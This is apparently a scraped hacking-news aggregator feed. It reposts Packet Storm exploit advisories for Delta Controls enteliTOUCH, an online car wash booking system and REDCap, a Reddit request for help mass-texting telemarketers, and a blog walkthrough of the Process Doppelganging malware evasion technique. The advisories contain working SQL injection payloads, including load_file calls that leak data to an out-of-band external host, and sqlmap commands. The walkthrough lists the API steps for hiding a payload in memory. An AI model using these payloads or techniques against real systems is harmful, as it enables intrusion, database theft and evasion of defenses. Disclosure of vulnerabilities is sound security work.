KitPloit - PenTest Tools!
365Inspect - A PowerShell Script That Automates The Security Assessment Of Microsoft Office 365 Environments

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Mass email & texting

Anyone have a source I can get back at these telemarketing people? Also have this one number calling me all the time, and when I call back she is soooo rude. I’d love to send 1000 text messages to these people, pref about Nancy pelosi or something funny like that. A joke I guess you can call it. Any help?

submitted by /u/stepdad666
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Delta Controls enteliTOUCH 3.40.3935 Cookie User Password Disclosure

https://4.bp.blogspot.com/-slZrAXCcTc4/WWlvSkUdx-I/AAAAAAAAINc/GD9pE2wpupUfP-XcYlxrz5jw2m91dZTOgCLcBGAs/s1600/h39.png
Delta Controls enteliTOUCH versions 3.40.3935, 3.40.3706, and 3.33.4005 suffer from a cookie user password disclosure vulnerability.

MD5 | 9fbce69012e907edfb98cfcb3760439d

Download

Delta Controls enteliTOUCH 3.40.3935 Cookie User Password Disclosure
Vendor: Delta Controls Inc.
Product web page: https://www.deltacontrols.com
Affected version: 3.40.3935
3.40.3706
3.33.4005

Summary: enteliTOUCH - Touchscreen Building Controller. Get instant
access to the heart of your BAS. The enteliTOUCH has a 7-inch,
high-resolution display that serves as an interface to your building.
Use it as your primary interface for smaller facilities or as an
on-the-spot access point for larger systems. The intuitive,
easy-to-navigate interface gives instant access to manage your BAS.

Desc: The application suffers from a cleartext transmission/storage
of sensitive information in a Cookie. This allows a remote
attacker to intercept the HTTP Cookie authentication credentials
through a man-in-the-middle attack.

Tested on: DELTA enteliTOUCH
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2022-5704
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5704.php
06.04.2022

--
GET /deltaweb/hmi_useredit.asp?ObjRef=BAC.1000.ZSL3&formAction=Edit HTTP/1.1
Host: 192.168.0.210
Cache-Control: max-age=0
User-Agent: Toucher/1.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.0.210/deltaweb/hmi_userconfig.asp
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: Previous=; lastLoaded=; LastUser=DELTA; LogoutTime=10; UserInstance=1; UserName=DELTA; Password=LOGIN; LastGraphic=; LastObjRef=; AccessKey=DADGGEOFNILEJMBBCNDKFNJPHPPJDAEDGEBJACPEAPBHDCGPCAGNNDEOJIJEOPPLOEKCFMAFNHDJPHGACMDFMPFDNONPIJAHBBNAAIDMDHCCPMAJDELDNLOPBPDCKELJADDKICPMMPCNEOMBHMKIIBJHFAJKNKJFGDEOLPMGMNBEHFLNEDIFMJKMCJKBHPGGEMHJJGMOMAECDKDIIKGNDDGANIHDKPNACLMANGJAOBDNJCFGEIHIJICLPGOFFMDOOLOJCJPAPPKOJFCKFAHDDAGNLCAHKKKGHCBODHBNDCOECGHG
Connection: close

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Online Car Wash Booking System 1.0 Blind SQL Injection

https://4.bp.blogspot.com/-dyIqvjR3K84/WWlvfXt5NkI/AAAAAAAAIQA/Fvmwfk3J4TgcxqdY3USv0_rN_ZW9VtW1ACLcBGAs/s1600/h85.png
Online Car Wash Booking System version 1.0 suffers from a remote blind SQL injection vulnerability.

MD5 | 2e10503591f013b81a28ea6f4877d3c4

Download
# Exploit Title: Online Car Wash Booking System 1.0 - Unauthenticated blind SQL Injection
# Exploit Author: segf0lt
# Date: April 14, 2022
# Vendor Homepage: https://www.sourcecodester.com/php/15274/online-car-wash-booking-system-phpoop-free-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/ocwbs_0.zip
# Tested on: Ubuntu, Apache, Mysql
# Version: v1.0
# Exploit Description:
# Online Car Wash Booking System 1.0 suffers from an unauthenticated SQL Injection Vulnerability allowing remote attackers to dump the SQL database using a union based SQL Injection attack.
# Exploit
* Exploit with Sqlmap

sqlmap -u "http://localhost/ocwbs/services/price_list.php?id=3" --dbms=mysql -dbs

sqlmap -u "http://localhost/ocwbs/services/price_list.php?id=3" --tables -D ocwbs_db

# Vulnerable Code

* No filter `id` when inserting data to database of price_list.php webpage

if(isset($id)){
$price_list = $conn->query("SELECT * FROM `price_list` where service_id = '{$id}'");
$price_arr = array_column($price_list->fetch_all(MYSQLI_ASSOC),'price', 'vehicle_id');
}

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
REDCap Cross Site Scripting

https://4.bp.blogspot.com/-zX4owX_f6gA/WWlvEjBsFTI/AAAAAAAAILA/L-jpFLkKi_AyIykovxrESAdO3HPxIIp7QCLcBGAs/s1600/h132.png
REDCap versions prior to 11.4.0 suffer from a persistent cross site scripting vulnerability that can be leveraged to escalate privileges.

MD5 | cff2215a44f56d248ac62729a09c91b1

Download
# Exploit Title: REDCap < 11.4.0 - Stored Cross-Site Scripting
# Date: 2021-10-11
# Exploit Author: Kendrick Lam
# Vendor Homepage: https://projectredcap.org
# Software Link: https://projectredcap.org
# Version: Redcap before 11.4.0
# Tested on: 11.2.5
# CVE: CVE-2021-42136
# Security advisory: https://redcap.med.usc.edu/_shib/assets/ChangeLog_Standard.pdf

### Stored XSS – Missing Data Code Value (found by Kendrick Lam)

It was possible to store JavaScript as values for Missing Data Codes.

- Where: Missing Data Code.
- Payload:

- Details: The payload will escalate a regular user's privileges, if viewed by an account with permission to change privileges (such as an administrator).
- Privileges: Low privileged / regular user
- Location example: https://redcap.XXX/redcap/redcap_vv11.2.5/Design/data_dictionary_codebook.php?pid=XX

- Privileges:
+ Store: Low privileged user is able to store Missing Data Code values.
+ Execute: Any authenticated user. The payload will trigger once the page loads, this means storing the payload and sending over the link to an administrator would be able to escalate the user's privileges. For example, by browsing to https://redcap.XXX/redcap/redcap_vv11.2.5/Design/data_dictionary_codebook.php?pid=XX

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Delta Controls enteliTOUCH 3.40.3935 Cross Site Scripting

https://2.bp.blogspot.com/-uXp9StI5Rh0/WWlvYIMdqaI/AAAAAAAAIOg/mHe50EJovPcz8di_9Up4vC4YPRAZ9BUbwCLcBGAs/s1600/h55.png
Delta Controls enteliTOUCH versions 3.40.3935, 3.40.3706, and 3.33.4005 suffer from a cross site scripting vulnerability.

MD5 | fa88e4c01353b6b4bb59b6fc228909d7

Download


enteliTouch XSS
" />

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Online Car Wash Booking System 1.0 SQL Injection

https://2.bp.blogspot.com/-U4x-65bW3GQ/WWlvNN9osvI/AAAAAAAAIMY/h5EIQTz5wbsbDMf6z0LfMa0yML4cI035gCLcBGAs/s1600/h21.png
Online Car Wash Booking System version 1.0 suffers from a remote SQL injection vulnerability.

MD5 | 1cd0ecdc21de90a96901dac91f80a095

Download
## Title: Online Car Wash Booking System v1.0 Multiple SQLi
## Author: nu11secur1ty
## Date: 04.14.2022
## Vendor: https://www.sourcecodester.com/users/tips23
## Software: https://www.sourcecodester.com/php/15274/online-car-wash-booking-system-phpoop-free-source-code.html
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/Online-Car-Wash-Booking

## Description:
The `id` parameter from `Master.php` app appears to be vulnerable to
multiple SQL injection attacks.
The attacker can take administrator account control and also of all
accounts on this system, also the malicious user can download all
information about this system.

Status: CRITICAL

[+] Payloads:

```mysql

---
Parameter: id (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
Payload: id=2'+(select
load_file('\\\\v1xg2dpkjsjjwr4viy58pn0dl4rxfpfd6gu8hy5n.sourcecodester.com/php/15274/online-car-wash-booking-system-phpoop-free-source-code.html.net\\bgm'))+''
OR NOT 6009=6009-- JZLD

Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
Payload: id=2'+(select
load_file('\\\\v1xg2dpkjsjjwr4viy58pn0dl4rxfpfd6gu8hy5n.sourcecodester.com/php/15274/online-car-wash-booking-system-phpoop-free-source-code.html.net\\bgm'))+''
OR (SELECT 6485 FROM(SELECT COUNT(*),CONCAT(0x7178767871,(SELECT
(ELT(6485=6485,1))),0x7178627871,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- pulo

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=2'+(select
load_file('\\\\v1xg2dpkjsjjwr4viy58pn0dl4rxfpfd6gu8hy5n.sourcecodester.com/php/15274/online-car-wash-booking-system-phpoop-free-source-code.html.net\\bgm'))+''
AND (SELECT 4435 FROM (SELECT(SLEEP(5)))atck)-- TPWe

Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: id=2'+(select
load_file('\\\\v1xg2dpkjsjjwr4viy58pn0dl4rxfpfd6gu8hy5n.sourcecodester.com/php/15274/online-car-wash-booking-system-phpoop-free-source-code.html.net\\bgm'))+''
UNION ALL SELECT
NULL,CONCAT(0x7178767871,0x685a6a63457747786c695058795575724b664e564a5764425a61614f776b48765949654350547a73,0x7178627871),NULL--
-
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/Online-Car-Wash-Booking)

## Proof and Exploit:
[href](https://streamable.com/w4t6rk)

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Delta Controls enteliTOUCH 3.40.3935 Cross Site Request Forgery

https://4.bp.blogspot.com/-yT3eHciMBDw/WWlvGfUXh9I/AAAAAAAAILU/lYidSj08G0suEfC69x80tZFrj-NYN5F9wCLcBGAs/s1600/h137.png
Delta Controls enteliTOUCH versions 3.40.3935, 3.40.3706, and 3.33.4005 suffer from a cross site request forgery vulnerability.

MD5 | 4e55e9fbc82519325a29a761a490f1e8

Download


enteliTouch CSRF
CSRF Add User:
CSRF Change Admin Password (default: delta:login):

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
The Misconceptions of 2021's Black Swan Cyber Events

Organizations can defend themselves from future unknows attacks by implementing targeted security hardening measures, turning on built-in security protections, and leveraging existing technology stack to achieve microsegmentation and credential hygiene.

Hacking on Medium
The Basic Idea || Ethical Hacking — Series 1

https://cdn-images-1.medium.com/max/1282/1*5_-vAY4eZmoSzW9eXq6ABw.gif
Hi everyone, VirusZzHkP here, so this will be new topic on my blog page, I will be starting a series on Ethical Hacking, where I will try…

Continue reading on System Weakness »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
You’re getting your OSCP -Status Update

https://cdn-images-1.medium.com/max/1057/1*XvATh4WUwEwC2FybvpvcwA.png
It’s been quite some time since I posted. I needed to take a much-needed break. Sorry for the delay.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
TryHackMe: Pickle Rick

https://cdn-images-1.medium.com/max/1200/1*JcJTT6RZzhwzHs8uQXbIwQ.jpeg
What is the first ingredient Rick needs?

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles|Raj Chandel's Blog
Process Doppelganging (Mitre:T1055.013)

IntroductionEugene Kogan and Tal Liberman presented a technique for defense evasion called “Process Doppelganging” in Blackhat EU 2017 which can be found here and a video of the session here. In this method, NTFS transactions are used to create a dummy file containing our payload, which creates a new NTFS memory section with our payload. And then, rolling back the dummy file making the malware exist only in memory (our newly created section). Then this section can be loaded to a new process and be executed under disguise. We’ll see this in action in live code.MITRE TACTIC: Defense Evasion (TA0005) and Privilege Escalation (TA0004)· File systems· FAT· NTFS· Working of NTFS· NTFS Transactions· Process Doppelganging· Demonstration· Drawbacks· ConclusionBefore we proceed further, it is necessary to know a little about Windows Filesystems. They allow files and directories to be stored in physical memory in small clusters (logical blocks) while maintaining a table of index to refer where each file is stored and in which cluster. Windows supports two major file systems: FAT and NTFSFAT: File Allocation Table is the legacy format to maintain hard disks, removable storages etc. They come in three formats FAT12, FAT16 AND FAT32. Each of these versions provide different cluster size and different maximum file size. For example, FAT12 only supported files as large as 32 MB while the newer FAT32 supports files upto 32GB (theoretical limit 16 TB) with cluster size 8 KB. They are wisely used in storage medias that have to be used on different operating systems (windows, linux, macOS).NTFS: Windows developed the New Technology File System (NTFS) that is the most popular file system in Windows OS. It overcame various FAT limitations and had following features:Working of NTFS: NTFS uses a B-Tree directory schema to keep track of file clusters. It already has various built-in memory spaces for things like:___________________________
@hacking_Attack
@Hacking_Video

the file.NTFS TransactionsEssentially memory is a 2D matrix containing references to files and OS variables. Much like the transactions in databases, transactions in NTFS are also possible which lets a user play with the memory segments. One can manually perform operations on a particular NTFS sector(memory segment) and input data in it using various Windows APIs provided by Microsoft.Process DoppelgangingNow that we have established an understanding of Transactions on NTFS, let’s understand Process Doppelganging. In this method, NTFS transactions are used to create a dummy file containing our payload, which creates a new NTFS memory section with our payload. And then, rolling back the dummy file making the malware exist only in memory (our newly created section). Then this section can be loaded to a new process and be executed under disguise. Let’s understand this via code contributed by Hasherezade here.Step 1: Create a new NTFS transaction, which is nothing but an operation on the memory space. Windows has provided the following function to do this:CreateTransaction()Step 2: Inside this transaction, we create a dummy file to store the payload. This reserves a space equivalent to the size of our malicious payload in the section.CreateFileTransacted()Step 3: Using the above function, our dummy file is now ready to be generated. We now need to create a new section where this gets stored.CreateSection()Step 4: Now that we have create a section, including our dummy file with our payload in it, we no longer need our file and the payload can exist in memory, i.e., “fileless payload.” We can now rollback our transaction and delete this dummy file. This would not delete our section and our payload lives in it.RollbackTransaction()Step 5: Now the malicious code is stored in a section. We need to create a new process and attach this section to it. This is the “doppelganger process”NtCreateProcessEx(): It can load a process using a section containing PE content too as well as a PE File!Step 6: Finishing. We need to fill some of the process paramters manually and link it to the current PEB [...]

___________________________
@hacking_Attack
@Hacking_Video